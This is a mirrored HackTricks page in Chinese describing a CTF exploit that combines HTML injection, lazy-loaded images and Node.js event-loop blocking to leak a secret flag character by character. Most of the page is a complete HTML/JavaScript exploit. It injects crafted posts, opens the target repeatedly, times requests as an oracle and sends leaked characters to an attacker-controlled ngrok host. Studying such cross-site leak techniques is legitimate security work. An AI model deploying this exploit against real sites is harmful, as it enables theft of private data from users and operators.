mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-27 07:01:09 +00:00
163 lines
6.9 KiB
Markdown
163 lines
6.9 KiB
Markdown
# 事件循环阻塞 + 懒加载图片
|
||
|
||
<details>
|
||
|
||
<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>
|
||
|
||
* 您在**网络安全公司**工作吗？ 想要在HackTricks中看到您的**公司广告**？ 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**？ 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 探索我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||
|
||
</details>
|
||
|
||
在[**这个利用**](https://gist.github.com/aszx87410/155f8110e667bae3d10a36862870ba45)中，[**@aszx87410**](https://twitter.com/aszx87410)通过HTML注入混合了**懒加载图片侧信道**技术和一种**事件循环阻塞技术**来泄露字符。
|
||
|
||
这是一个用于CTF挑战的**不同利用**，已经在以下页面中进行了评论。查看更多关于挑战的信息：
|
||
|
||
{% content-ref url="connection-pool-example.md" %}
|
||
[connection-pool-example.md](connection-pool-example.md)
|
||
{% endcontent-ref %}
|
||
|
||
这个利用的思路是：
|
||
|
||
* 帖子按字母顺序加载
|
||
* **攻击者**可以**注入**一个以**"A"**开头的**帖子**，然后一些**HTML标签**（如一个大的**`<canvas`**)将填满大部分**屏幕**，并且一些最终的**`<img lazy`标签**用于加载内容。
|
||
* 如果**攻击者**注入的是以"z"开头的相同帖子而不是"A"。带有**标志**的**帖子**将首先出现，然后**注入的**帖子将以初始"z"和**大**的**canvas**出现。因为带有标志的帖子首先出现，第一个canvas将占据整个屏幕，而注入的最终**`<img lazy`**标签不会在屏幕上显示，因此它们**不会被加载**。
|
||
* 然后，在**机器人**访问页面时，**攻击者**将**发送获取请求**。 
|
||
* 如果在帖子中注入的**图片**正在**加载**，这些**获取**请求将花费**更长时间**，因此攻击者知道**帖子在标志之前**（按字母顺序）。
|
||
* 如果**获取**请求**快速**，这意味着**帖子**在**标志之后**按字母顺序排列。
|
||
|
||
让我们来看看代码：
|
||
```html
|
||
<!DOCTYPE html>
|
||
<html>
|
||
<!--
|
||
The basic idea is to create a post with a lot of images which send request to "/" to block server-side nodejs event loop.
|
||
If images are loading, the request to "/" is slower, otherwise faster.
|
||
By using a well-crafted height, we can let note with "A" load image but note with "Z" not load.
|
||
We can use fetch to measure the request time.
|
||
-->
|
||
<body>
|
||
<button onclick="run()">start</button>
|
||
|
||
<!-- Inject post with payload -->
|
||
<form id=f action="http://localhost:1234/create" method="POST" target="_blank">
|
||
<input id=inp name="text" value="">
|
||
</form>
|
||
|
||
<!-- Remove index -->
|
||
<form id=f2 action="http://localhost:1234/remove" method="POST" target="_blank">
|
||
<input id=inp2 name="index" value="">
|
||
</form>
|
||
|
||
<script>
|
||
let flag = 'SEKAI{'
|
||
const TARGET = 'https://safelist.ctf.sekai.team'
|
||
f.action = TARGET + '/create'
|
||
f2.action = TARGET + '/remove'
|
||
|
||
const sleep = ms => new Promise(r => setTimeout(r, ms))
|
||
// Function to leak info to attacker
|
||
const send = data => fetch('http://server.ngrok.io?d='+data)
|
||
const charset = 'abcdefghijklmnopqrstuvwxyz'.split('')
|
||
|
||
// start exploit
|
||
let count = 0
|
||
setTimeout(async () => {
|
||
let L = 0
|
||
let R = charset.length - 1
|
||
|
||
// I have omited code here as apparently it wasn't necesary
|
||
|
||
// fallback to linerar since I am not familiar with binary search lol
|
||
for(let i=R; i>=L; i--) {
|
||
let c = charset[i]
|
||
send('try_' + flag + c)
|
||
const found = await testChar(flag + c)
|
||
if (found) {
|
||
send('found: '+ flag+c)
|
||
flag += c
|
||
break
|
||
}
|
||
}
|
||
|
||
}, 0)
|
||
|
||
async function testChar(str) {
|
||
return new Promise(resolve => {
|
||
/*
|
||
For 3350, you need to test it on your local to get this number.
|
||
The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold
|
||
If starts with "A", the image should be loaded because it's in the threshold.
|
||
*/
|
||
// <canvas height="3350px"> is experimental and allow to show the injected
|
||
// images when the post injected is the first one but to hide them when
|
||
// the injected post is after the post with the flag
|
||
inp.value = str + '<br><canvas height="3350px"></canvas><br>'+Array.from({length:20}).map((_,i)=>`<img loading=lazy src=/?${i}>`).join('')
|
||
f.submit()
|
||
|
||
setTimeout(() => {
|
||
run(str, resolve)
|
||
}, 500)
|
||
})
|
||
}
|
||
|
||
async function run(str, resolve) {
|
||
// Open posts page 5 times
|
||
for(let i=1; i<=5;i++) {
|
||
window.open(TARGET)
|
||
}
|
||
|
||
let t = 0
|
||
const round = 30 //Lets time 30 requests
|
||
setTimeout(async () => {
|
||
// Send 30 requests and time each
|
||
for(let i=0; i<round; i++) {
|
||
let s = performance.now()
|
||
await fetch(TARGET + '/?test', {
|
||
mode: 'no-cors'
|
||
}).catch(err=>1)
|
||
let end = performance.now()
|
||
t += end - s
|
||
console.log(end - s)
|
||
}
|
||
const avg = t/round
|
||
// Send info about how much time it took
|
||
send(str + "," + t + "," + "avg:" + avg)
|
||
|
||
/*
|
||
I get this threshold(1000ms) by trying multiple times on remote admin bot
|
||
for example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold
|
||
*/
|
||
const isFound = (t >= 1000)
|
||
if (isFound) {
|
||
inp2.value = "0"
|
||
} else {
|
||
inp2.value = "1"
|
||
}
|
||
|
||
// remember to delete the post to not break our leak oracle
|
||
f2.submit()
|
||
setTimeout(() => {
|
||
resolve(isFound)
|
||
}, 200)
|
||
}, 200)
|
||
}
|
||
|
||
</script>
|
||
</body>
|
||
</html>
|
||
```
|
||
<details>
|
||
|
||
<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>
|
||
|
||
* 你在**网络安全公司**工作吗？想要看到你的**公司在HackTricks中被宣传**吗？或者想要获取**PEASS的最新版本或下载HackTricks的PDF**吗？查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[NFT收藏品](https://opensea.io/collection/the-peass-family)
|
||
* 获取[**官方PEASS & HackTricks周边**](https://peass.creator-spring.com)
|
||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||
* **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||
|
||
</details>
|